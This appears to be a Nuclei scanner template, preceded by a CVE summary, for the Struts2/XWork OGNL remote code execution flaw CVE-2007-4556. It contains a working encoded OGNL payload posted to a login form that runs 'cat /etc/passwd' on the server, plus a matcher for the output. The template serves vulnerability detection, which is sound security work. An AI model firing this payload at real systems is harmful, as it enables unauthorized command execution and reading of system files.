Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
PoC代码[已公开]
id: CVE-2007-4556
info:
name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
author: pikpikcu
severity: medium
description: |
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
impact: |
Remote code execution
remediation: |
Update to the latest version of Apache Struts2
reference:
- https://www.guildhab.top/?p=2326
- https://nvd.nist.gov/vuln/detail/CVE-2007-4556
- https://cwiki.apache.org/confluence/display/WW/S2-001
- http://forums.opensymphony.com/ann.jspa?annID=54
- http://issues.apache.org/struts/browse/WW-2030
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2007-4556
cwe-id: NVD-CWE-Other
epss-score: 0.02359
epss-percentile: 0.84369
cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: opensymphony
product: xwork
tags: cve,cve2007,apache,rce,struts,opensymphony
http:
- method: POST
path:
- "{{BaseURL}}/login.action"
body: |
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502207c307c67563b7ccf408c8db0dc32fabfd5fffcfdb1515ecf43f4207f258df3e7022100c33e9a29ccafc2a5d6e1dc95e0278a9d7c7d92c3703e62f1fa362db2d96e4a9a:922c64590222798bb761d5b6d8e72950